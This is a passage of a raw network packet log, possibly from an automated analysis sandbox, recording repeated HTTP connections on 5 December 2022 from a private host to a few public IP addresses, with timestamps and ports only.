Dec 5, 2022 15:17:12.769565105 CET	49883	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:12.769720078 CET	49883	80	192.168.11.20	185.101.158.239
Dec 5, 2022 15:17:12.786597013 CET	80	49883	185.101.158.239	192.168.11.20
Dec 5, 2022 15:17:26.287492037 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.448400974 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.448847055 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.448947906 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.609807014 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.825609922 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.825725079 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.825814962 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.825880051 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.825943947 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826006889 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826041937 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.826103926 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.826105118 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826204062 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826240063 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.826313972 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826380014 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826435089 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.826440096 CET	80	49885	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:26.826585054 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:26.826699018 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:27.450764894 CET	49885	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:28.466191053 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:28.627652884 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.627906084 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:28.628016949 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:28.789369106 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927171946 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927288055 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927347898 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927396059 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927443981 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927503109 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927506924 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:28.927552938 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927604914 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927653074 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927695990 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927740097 CET	80	49886	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:28.927809000 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:28.927989006 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:29.637779951 CET	49886	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.653285027 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.814996958 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.815452099 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.815977097 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.816092014 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.979212046 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979358912 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979420900 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979477882 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.979497910 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979552984 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979599953 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.979607105 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979660988 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979660988 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.979715109 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:30.979886055 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:30.979993105 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.144973993 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.145561934 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.145695925 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.307110071 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307173967 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307233095 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307271957 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307425022 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307529926 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307816029 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.307878971 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.485908031 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486077070 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486191988 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486289978 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486387968 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486437082 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.486485958 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486574888 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486603975 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.486673117 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486771107 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486773968 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.486860037 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486943007 CET	80	49887	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:31.486944914 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.487119913 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.487281084 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:31.824645042 CET	49887	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:32.840392113 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.000922918 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.001228094 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.001368999 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.161837101 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.286813021 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.286931038 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287020922 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287103891 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287168980 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287230968 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.287242889 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287338972 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287398100 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.287420034 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287499905 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287578106 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.287580013 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.287739992 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.287904978 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.449146986 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449266911 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449337006 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449429035 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449500084 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449563980 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449587107 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.449673891 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449753046 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.449753046 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.449759960 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449856043 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.449934006 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450002909 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450066090 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450092077 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.450167894 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450239897 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450264931 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.450265884 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.450341940 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450412989 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450433016 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.450509071 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450576067 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450602055 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.450675964 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450746059 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.450772047 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.450942039 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.611155033 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611443996 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611537933 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611597061 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611654043 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.611660957 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611743927 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611803055 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611823082 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.611877918 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:33.611996889 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.612215042 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.612333059 CET	49888	80	192.168.11.20	50.87.192.144
Dec 5, 2022 15:17:33.772949934 CET	80	49888	50.87.192.144	192.168.11.20
Dec 5, 2022 15:17:38.634205103 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.679467916 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.679757118 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.679825068 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.725235939 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.727799892 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.727895975 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.727972031 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728043079 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728099108 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728182077 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.728207111 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728240013 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.728389025 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728447914 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.728507042 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728631973 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728702068 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.728730917 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.728878975 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774024963 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774125099 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774187088 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774252892 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774315119 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774324894 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774370909 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774442911 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774498940 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774554014 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774570942 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774621964 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774622917 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774678946 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774719000 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774739981 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774812937 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774868011 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774893999 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774930954 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.774945021 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.774993896 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.775049925 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.775118113 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.775181055 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.775202036 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.775239944 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.775314093 CET	80	49889	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:38.775388956 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:38.775482893 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:39.682642937 CET	49889	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.698009014 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.743284941 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.743511915 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.743613958 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.788752079 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.790687084 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.790781021 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.790858984 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.790930033 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.790987968 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.791043043 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.791065931 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.791138887 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.791203022 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.791233063 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.791233063 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.791290045 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.791357040 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.791400909 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.791572094 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.836297035 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836349964 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836429119 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836457968 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836484909 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836513996 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836549997 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836579084 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836605072 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836631060 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836658001 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836685896 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836687088 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.836726904 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836755037 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836781979 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836807966 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836833954 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836869001 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836899042 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836925983 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.836961031 CET	80	49890	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:40.837028980 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:40.837244034 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:41.744436026 CET	49890	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.760078907 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.805840969 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.806066990 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.806799889 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.806889057 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.852451086 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.852530003 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.852588892 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.852701902 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.852823973 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.852832079 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.852910042 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.853034973 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.853074074 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.853132010 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.853188992 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.853209019 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.853389978 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.853543043 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.853723049 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.898269892 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.898499966 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.898597002 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.898662090 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.898746014 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.898760080 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.898809910 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.898936987 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.899004936 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899041891 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899065971 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899092913 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899101973 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.899171114 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899197102 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899300098 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899324894 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899533033 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.899668932 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944158077 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944180012 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944278002 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944448948 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944468021 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944703102 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944825888 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944848061 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.944864988 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977089882 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977190971 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977263927 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977334976 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977391005 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977444887 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977514982 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977572918 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977629900 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977688074 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.977689028 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.977701902 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:42.977855921 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:42.978008032 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.023533106 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.023633957 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.023695946 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.023762941 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.023823977 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.023861885 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.023880005 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.023941040 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.023951054 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024008989 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024065018 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024092913 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024137020 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024194002 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024220943 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024251938 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024359941 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024418116 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024421930 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024470091 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024494886 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024549961 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024606943 CET	49891	80	192.168.11.20	195.24.68.23
Dec 5, 2022 15:17:43.024620056 CET	80	49891	195.24.68.23	192.168.11.20
Dec 5, 2022 15:17:43.024682045 CET	80	49891	195.24.68.23	192.168.11.20
